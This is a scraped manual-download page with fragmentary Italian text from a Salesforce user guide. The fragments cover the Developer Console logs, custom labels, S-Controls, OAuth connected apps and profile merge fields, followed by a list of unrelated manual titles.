571. zioni SOQL Ottimizzazione di Salesforce con il codice Guida dell utente Esecuzione del debug tramite la Console sviluppatore 263 Scheda Logs Registri Utilizzare la scheda Logs Registri nella Console sviluppatore per aprire i registri contenenti gli eventi del database l elaborazione Apex il flusso di lavoro le chiamate e la logica di convalida La Console sviluppatore effettua interrogazioni automatiche per i registri debug dell utente corrente e li elenca nella scheda Logs Registri Ad esempio se si dispone di regole di convalida associate all inserimento di un record e si inserisce un nuovo record la Console sviluppatore acquisisce un registro debug per la richiesta e lo aggiunge all elenco sas tests Checkpoints Query Editor Progress Problems User Application Operation Time Status Read Size JS Browser _ui common apex debu 04 09 13 38 46 Success 39132 Filter Click here to filter the log list e Peraprire il registro selezionato nel Log Inspector Controllo registri fare clic su File gt Open Log Apri registro oppure fare doppio clic sulla scheda Logs Registri Utilizzare il Log Inspector Controllo registri per esaminare un registro debug valutare Apex Code eseguire il tracciamento del DML monitorare le prestazioni ecc e Per aprire il registro selezionato in un editor di testo fare clic su File gt Open Raw Log Apri registro non formattato e Per filtrare i registri visibili fare clic su Fil
572. zioni per lingue non incluse nel pacchetto e Eliminarla Nota non possibile eliminare le etichette personalizzate installate come parte di un pacchetto gestito o a cui viene fatto riferimento da Apex o da una pagina Visualforce possibiel solo sostituire le traduzioni esistenti e Creare o modificare una traduzione VEDERE ANCHE Creazione e modifica di etichette personalizzate Panoramica sulle etichette personalizzate Guida dell utente Componenti Apex Visualforce e Lightning 122 ID PA 0 N Disponibile nelle versioni Salesforce Classic e Lightning Experience Disponibile nelle versioni Developer Edition Professional Edition Enterprise Edition Performance Edition e Unlimited Edition ANOLON TAAA ON UTENTE Creare modificare ed eliminare etichette personalizzate e Personalizza applicazione Per creare o sostituire una traduzione e Gestisci traduzione OPPURE Visualizza impostazione e configurazione ed essere designato come traduttore Ottimizzazione di Salesforce con il codice Guida dell utente Componenti Apex Visualforce e Custom S Control Definizione dei Custom S Control O Importante Le pagine Visualforce sostituiscono gli S Control Le organizzazioni che non hanno mai utilizzato gli S Control non li possono creare Gli S Control esistenti restano invariati e potranno sempre essere modificati La libreria degli S Control personalizzati Custom S Con
573. zioni personali 2 Nella sezione Applicazioni connesse OAuth possibile e Visualizzare le informazioni su ogni applicazione a cui si concesso l accesso oltre al numero di volte e all ultima volta che l applicazione ha tentato di accedere alle informazioni O Nota un applicazione pu essere elencata pi di una volta Ogni volta che si concede l accesso a un applicazione essa ottiene un nuovo token di accesso Le richieste di token di aggiornamento incrementano il Conteggio utilizzi visualizzato per l applicazione necessario concedere l accesso ai propri dati Salesforce da ogni dispositivo che si utilizza ad esempio sia da un computer portatile che da un computer desktop Il limite predefinito cinque token di accesso per ogni applicazione Le applicazioni pi recenti che utilizzano il protocollo OAuth 2 0 vengono automaticamente approvate per ulteriori dispositivi dopo che l utente ha concesso l accesso una volta Le applicazioni OAuth 2 0 possono essere indicate pi di una volta Ogni riga della tabella rappresenta un unica concessione quindi se un applicazione richiede pi token con ambiti diversi la stessa applicazione apparir pi volte Anche se l applicazione connessa ha tentato di accedere alle informazioni senza riuscirvi perch non ha potuto effettuare l accesso i campi Conteggio utilizzi e Ultimo utilizzo vengono aggiornati Guida dell utente Integrazione di app con Salesforce 187 ID PA 0 N Di
574. zzato in un altra area di Salesforce Gli S Control eliminati non vanno a finire nel Cestino DAON Disponibile nelle versioni Salesforce Classic Disponibile nelle versioni Contact Manager Edition Group Edition Professional Edition Enterprise Edition Performance Edition Unlimited Edition e Developer Edition ANOLON TAAA ON UTENTE Per creare modificare ed eliminare Custom S Control e Personalizza applicazione Ottimizzazione di Salesforce con il codice Suggerimenti sulla creazione degli S Control Guida dell utente Componenti Apex Visualforce e O Importante Le pagine Visualforce sostituiscono gli S Control Le organizzazioni che non hanno mai utilizzato gli S Control non li possono creare Gli S Control esistenti restano invariati e potranno sempre essere modificati Durante la creazione degli S Control utilizzare i seguenti suggerimenti Se si crea un S Control URL non selezionare Mostra intestazione di sezione su pagina dei dettagli nella sezione del layout di pagina in cui si inserisce l S Control Questa opzione se combinata con sezion i comprimibili provoca problemi in alcuni browser Utilizzare le variabili globali per accedere a campi di unione speciali per componenti come pulsanti link personali di accedere ai parame Utilizzare il campo uni Tema interfaccia uten one Organization UIS zzati e S Control Ad esempio la vari tri di query all interno di uno snippet abile
575. zzazione sono state create le autorizzazioni personalizzate Tipo di campo di unione globale da utilizzare quando si fa riferimento alle informazioni sul profilo dell utente corrente Utilizzare i campi di unione profilo per fare riferimento alle informazioni relative al profilo dell utente quali il tipo di licenza o il nome 1 Selezionare il tipo di campo SProfile Ottimizzazione di Salesforce con il codice Esempio di regola di convalida Esempio di Flusso Esempio di Visualforce Suggerimenti Guida dell utente Componenti Apex Visualforce e Lightning 30 2 Selezionare un campo di unione come Profile Name La formula della regola di convalida seguente fa riferimento al nome del profilo dell utente corrente per fare in modo che solo il titolare del record o gli utenti con questo profilo possano modificare un campo personalizzato denominato Obiettivo personale AND ISCHANGI Custom ED Personal Goal_ c Owner lt gt User Id Profile Name lt gt System Admin Per identificare il profilo dell utente corrente creare una formula del flusso Testo con la seguente espressione Profile Name Facendo riferimento a quella formula si evita di utilizzare una query Elementi di ricerca e si risparmiano limiti Per restituire il profilo dell utente corrente utilizzare Profile Name e lcampidiunione Profile sono disponibili solo nelle versioni che possono creare profili pe
Download Pdf Manuals
Related Search
Related Contents
インライン インターフェース 高砂電気工業株式会社 Installation Instructions fichier 1 Gradebook - Caribbean University VPN Unlimited for iPad for iPad User`s Manual 取扱説明書 - M Panasonic TH-42PX25U/P 42 in. Plasma HDTV Event Counter Tutorial manual Copyright © All rights reserved.
Failed to retrieve file